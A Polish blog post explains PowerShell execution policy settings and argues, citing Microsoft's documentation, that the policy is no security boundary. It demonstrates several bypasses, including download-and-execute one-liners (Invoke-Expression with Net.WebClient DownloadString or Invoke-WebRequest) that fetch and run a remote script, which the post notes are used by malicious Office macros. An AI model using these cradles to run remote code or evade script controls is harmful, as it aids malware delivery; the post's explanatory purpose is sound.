Zasada ograniczonego wykonywania skryptów jest jedną z częściej zmienianych ustawień. Nie ma, co się dziwić. Bardzo szybko pojedyncze polecenia pisane w konsoli zaczynamy zamykać w skrypty w celu ich wielokrotnego wykonywania. Na stacjach klienckich domyślnie jest to zabronione, nie wykonamy plików ps1 czy psm1.

W tym celu należy zmienić właściwość ExecutionPolicy za pomocą polecenie Set-ExecutionPolicy na jedną z dostępnych wartości:

  • Restricted (default) – brak możliwości wykonania jakiegokolwiek skryptu w systemie
  • AllSigned – Wszystkie uruchamiane skrypty wymagają podpisu cyfrowego.
  • RemoteSigned –  Wszystkie zdalne skrypty lub pobrane muszą być podpisane.
  • Unrestriced – Nie jest wymagany podpis dla żadnego typu skryptu. Skrypty pobrane z Internetu będą pytać o potwierdzenie przed wykonaniem
  • Bypass –  Nic nie jest blokowane i nie ma żadnych ostrzeżeń i potwierdzeń

Dla systemów klienckich wartość domyślna nigdy się nie zmieniała, od PowerShell 2.0 było i jest Restricted. Sprawa wygląda nieco inaczej dla systemów serwerowych, gdzie PowerShell od wersji 4.0 domyślnie ustawia tą wartość na RemoteSigned.

Nie, nie zapewnia bezpieczeństwa

Niekiedy sama polityka wykonywania traktowana jest, jako system bezpieczeństwa, co jest błędem. W tej kwestii nawet dokumentacja przedstawia sytuacje jasno:

The execution policy is not a security system that restricts user actions. For example, users can easily circumvent a policy by typing the script contents at the command line when they cannot run a script. Instead, the execution policy helps users to set basic rules and prevents them from violating them unintentionally.

Lepiej postrzegać to jako mechanizm kontrolujący poziom zaufania do wykonywanych skryptów. Wyboru np. AllSigned w konsekwencji przełoży się to na wymóg podpisywania wszystkich skryptów. Teoretycznie.

Jak pewnie zwróciłeś uwagę, nawet w przytoczonym fragmencie dokumentacji, jest informacja o tym, że jest na to proste obejście. Wpisanie zawartość skryptu do konsoli. Można ale po co? Na nieszczęście istnieje kilka innych banalnych sposobów na ominięcie poziomu Restricted lub każdego innego:

Set-ExecutionPolicy dla procesu lub bieżącego użytkownika

Zasady ograniczonego wykonywania mogą być stosowane na wielu poziomach. Nie trzeba posiadać uprawnień administratora, aby móc zmienić ustawienie w zasięgu procesu lub bieżącego użytkownika. Po poleceniu Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser możliwe jest wykonanie skryptu w konsoli.

Co ważne, informację o takiej zmianie jesteśmy wstanie znaleźć w dzienniku Microsoft-Windows-PowerShell/Operational.

PowerShell.exe i parametr ExecutionPolicy

Powershell.exe posiada zestaw parametrów, które umożliwiają dostosować tworzoną sesje. -ExecutionPolicy, zmienia zasadę dla bieżącej sesji i zapisuję ja do zmiennej $env:PSExecutionPolicyPreference. Jak wyżej, wykonanie polecenia zostaną odnotowane w dzienniku zdarzeń Microsoft-Windows-PowerShell/Operational.

powershell.exe -ExecutionPolicy Bypass -File C:\PS\script.ps1 -NoLogo -NoExit

Znając zmienną odpowiadającą za preferencje dotyczące zasady w ramach sesji/procesu, możemy ustawić ją jawnie. Przyniesie to identyczny rezultat.

Get-Content i Powershell.exe

Istnieją również inne metody, które w żaden sposób nie wymagają zmiany zasad ograniczonego wykonywania skryptów.

W tym celu można użyć polecenia Get-Content do odczytania skryptu z dysku i przekazania w potoku do PowerShell.exe. Umożliwia również wykonywanie skryptów z zasobów sieciowych bądź pobranych z Internetu. Get-Content -Path C:\PS\script.ps1 | powershell.exe -nologo

Get-Content i Invoke-Expression

Bardzo podobnie jak wyżej. Get-Content pobiera zawartość pliku i przekazuję do Invoke-Expression, które wykonuję określony ciąg. Również nie ma wpływu na konfigurację zasady wykonywania skryptów.

Invoke-Expression i Net.WebClient

Innym sposobem jest pobranie (bez zapisywania na dysk) skryptu z Internetu i wywołanie za pomocą Invoke-Expression. Technika ta jest często wykorzystywana do wykonywania złośliwego kodu np. w makrach dokumentów Office. Co istotne nie pozostawia śladów i nie zmienia ustawień.

Invoke-Expression (New-Object Net.WebClient).DownloadString('http://www.mnwebdesign.nstrefa.pl/mnadobnik_beta/scripts/script.ps1')

To samo tylko z  użycie polecenie Invoke-WebRequest.

Invoke-Expression ([System.Text.Encoding]::ASCII.GetString((Invoke-WebRequest `
-Uri http://www.mnwebdesign.nstrefa.pl/mnadobnik_beta/scripts/script.ps1 -UseBasicParsing).content))

Podsumowanie

Zasada ograniczonego wykonywania skryptów nie jest systemem bezpieczeństwa i nie należy go tak traktować. Myślę, że te kilka przykładów tylko potwierdziło to, co zostało zawarte w dokumentacji przez Microsoft.

PS. Jeśli chcesz zacząć przygodę z PowerShell zapraszam tutaj.

Mateusz Nadobnik

Z pasją poświęcam czas na zdobywanie wiedzy w zakresie szeroko rozumianej Data Platform. Zachwycony językiem skryptowym Windows PowerShell. Swoją wiedzę, doświadczenia i spostrzeżenia opisuję na blogu.

read more